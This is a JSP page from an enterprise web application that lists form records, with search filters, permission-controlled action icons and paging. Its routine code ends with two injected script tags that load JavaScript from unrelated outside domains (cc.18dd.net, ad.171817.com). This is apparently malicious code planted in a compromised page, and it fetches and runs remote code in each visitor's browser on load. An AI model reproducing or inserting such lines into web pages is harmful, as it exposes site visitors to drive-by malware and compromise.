<%
/*
 * @(#)ListFormRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListFormRecord.jsp

  This is a ListFormRecord page.  It shows the form record in EIP.

    @author             Tong Kwok Kin
    @company            DCIVision Ltd
    @creation date      10/12/2003
    @version            $Revision: 1.52.2.15 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.Connection"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="java.lang.Integer"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormRecordForm" scope="request" class="com.dcivision.form.web.ListFormRecordForm"/>

<%
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  if (!Utility.isEmpty(request.getParameter("formGroupID"))) {
    session.setAttribute("formGroupID",request.getParameter("formGroupID"));
  }
  FormGroup formGroup = (FormGroup)request.getAttribute("formGroup");
  FormSubmissionHtmlDAObject formSubmissionHtmlDAObject=new FormSubmissionHtmlDAObject(sessionContainer,conn);
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "formRecordList";

  String[][] LABEL_MAP = { {"ID", "ID"},
                                {"common.label.view", GlobalConstant.NOT_AVAILABLE},
                                {"form.columnheader.outline", GlobalConstant.NOT_AVAILABLE},
                                {"form.columnheader.title", "TITLE"},
                                {"form.columnheader.form_code", "FORM_CODE"},
                                {"form.columnheader.form_version", "FORM_VERSION"},
                                {"workflow.columnheader.effective_period", "START_DATE"},
                                {"form.columnheader.status", "STATUS"},
                                {"common.columnheader.update_date", "UPDATE_DATE"},
                                {"common.columnheader.updater", "UPDATER_ID"}
                              };

  String[][] SEARCH_MAP ={ {"form.label.title", "TITLE"},
                                {"form.label.form_code", "FORM_CODE"},
                                {"form.label.form_version", "FORM_VERSION"}
                               // {"form.label.status", "STATUS"},
                              };

  int     COLUMN_OFFSET = 2;
  String returnURL="ListFormSetup.do?&function=FORM_SETUP&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<script language="Javascript">
<!--

function OpListCustReset(frm) {
  //frm.searchFormType[2].checked=true;
  OpListReset(frm);
  return false;
}

-->
</script>

<!-- Form Section Begin -->
<html:form action="form/ListFormRecord" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="formGroupID"/>

<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<%--<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> [<%=formGroup.getGroupName()%>]</font><layout:returnButton>ListFormSetup.do?&function=FORM_SETUP&opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%></layout:returnButton></layout:titleFormat>--%>
<!-- Page Title Section End -->

<layout:listBar>
    <div class="button">
      <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right='I' objectType="M" objectID="<%=listFormRecordForm.getFormGroupID()%>" link="MaintFormRecord.do?formGroupID=${listFormRecordForm.formGroupID}" label="common.label.new"/>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right='D' objectType="M" objectID="<%=listFormRecordForm.getFormGroupID()%>" onClick="return(OpListDelete(listFormRecordForm))" label="common.label.delete"/>
    </div>
<layout:filterControl/>
</layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
<div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
<div>
<table >
  <tr>
    <td class="filterPanelItem" nowrap >
      <html:select property="basicSearchField">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
     </td>
     <td class="filterPanelItem" nowrap >
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
     </td>
     <td class="filterPanelItem" nowrap >
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
   <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return OpList(listFormRecordForm, '${listFormRecordForm.sortAttribute}', '${listFormRecordForm.sortOrder}')" />
   <html:standardButton label="common.label.remove_filter" onClick="return(OpListCustReset(listFormRecordForm))"/>
</div>
<br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listFormRecordForm.getSortAttribute()%>" sortOrder="<%=listFormRecordForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formRecord).getID()%>);">
    <td align="center">
     <logic:permission right='D'>
      <logic:permission right='D' objectType="M" objectID="<%=listFormRecordForm.getFormGroupID()%>">
      <logic:equal name='formRecord' property='status' value='<%=FormRecord.FORM_STATUS_PENDING%>'>
        <input type="checkbox" name="basicSelectedID" value="<bean:write name='formRecord' property='ID'/>" onclick="return(false);">
      </logic:equal>
      <logic:equal name='formRecord' property='status' value='<%=FormRecord.FORM_STATUS_RELEASED%>'>
      <!-- <input type="hidden" name="basicSelectedID" value="-1"> --><html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:equal>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <!-- <input type="hidden" name="basicSelectedID" value="-1"> --><html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
     <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
     <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
    </logic:permission>
    <td align="center">
     <logic:permission right='E'>
      <logic:permission right='E' objectType="M" objectID="<%=listFormRecordForm.getFormGroupID()%>">
      <%if (FormRecord.FORM_STATUS_RELEASED.equals(((FormRecord)formRecord).getStatus() ) && !Utility.isEmpty(((FormRecord)formRecord).getFormDocID()) || formSubmissionHtmlDAObject.getBooleanByRecordID(((FormRecord)formRecord).getID())){%><html:img src='IconEditDisable.gif'  align='absmiddle'/><%}else{%><a href="MaintFormRecord.do?navMode=E&ID=<bean:write name='formRecord' property='ID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a><%}%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
     </logic:permission>
    </td>
    <td align="center">
     <logic:permission right='C'>
      <logic:permission right='C' objectType="M" objectID="<%=listFormRecordForm.getFormGroupID()%>">
      <%//if (formSubmissionHtmlDAObject.getBooleanByRecordID(((FormRecord)formRecord).getID()) ){%><!-- <html:img src='IconCopyDisable.gif'  align='absmiddle'/>--><%//}else{%><a href="MaintFormRecord.do?navMode=C&ID=<bean:write name='formRecord' property='ID'/>"><html:img src='IconCopy.gif'  align='absmiddle'/></a><%//}%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
     </logic:permission>
    </td>
    <td align="center" width="30"><!-- MaintFormPage.do -->
    <%if (!Utility.isEmpty(((FormRecord)formRecord).getFormDocID())){%>
      <a href="#" onclick="window.open('GenerateXML.do?navMode=V&formRecordID=<%=((FormRecord)formRecord).getID()%>&formDocID=<%=((FormRecord)formRecord).getFormDocID()%>&function=FORMSETUP','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconView.gif'  align='absmiddle'/></a>
    <%}else{%>
      <a href="MaintFormPage.do?navMode=V&preview=T&formRecordID=<bean:write name='formRecord' property='ID'/>&formDocID=<bean:write name='formRecord' property='formDocID'/>&function=FORMSETUP"><html:img src='IconView.gif'  align='absmiddle'/></a>
    <%}%>
    </td>
     <td align="center" width="30">
      <logic:permission right='R' >
       <logic:permission right='R' objectType="M" objectID="<%=listFormRecordForm.getFormGroupID()%>">
         <a href="MaintFormSectionFormElement.do?navMode=OUTLINE&formRecordID=<bean:write name='formRecord' property='ID'/>"><html:img src='IconFormPreview.gif'  align='absmiddle'/></a>
         <html:img src='IconFormPreviewDisable.gif'  align='absmiddle'/>
       </logic:permission>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
       <html:img src='IconFormPreviewDisable.gif'  align='absmiddle'/>
     </logic:permission>
    </td>
    <td width="150" nowrap>
    <logic:permission right='E'>
     <logic:permission right='E' objectType="M" objectID="<%=listFormRecordForm.getFormGroupID()%>">
     <a href="MaintFormRecord.do?navMode=V&ID=<bean:write name='formRecord' property='ID'/>"><bean:write name='formRecord' property='title'/></a>
     <bean:write name='formRecord' property='title'/>
     </logic:permission>
    <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
     <bean:write name='formRecord' property='title'/>
    </logic:permission>
    </td>
    <td><bean:write name='formRecord' property='formCode'/> </td>
    <td><bean:write name='formRecord' property='formVersion'/></td>
    <td><bean:write name='formRecord' property='startDate' format='<%=TextUtility.getDateFormat().toPattern()%>'/> - <bean:write name='formRecord' property='endDate' format='<%=TextUtility.getDateFormat().toPattern()%>'/></td>

    <td>
        <logic:equal name='formRecord' property='status' value='<%=FormRecord.FORM_STATUS_PENDING%>'>
        <font style="color:#FF0000"><bean:message key='form.label.form_status_P'/></font>
        </logic:equal>
        <logic:equal name='formRecord' property='status' value='<%=FormRecord.FORM_STATUS_RELEASED%>'>
        <font style="color:#0000FF"><bean:message key='form.label.form_status_R'/></font>
        </logic:equal></td>
   <!-- <td><bean:write name='formRecord' property='formCategory'/></td>-->
    <td class="bodyVerySmall" nowrap><bean:write name='formRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='formRecord' property='updaterName'/></td>
  </tr>

  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listFormRecordForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
<!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>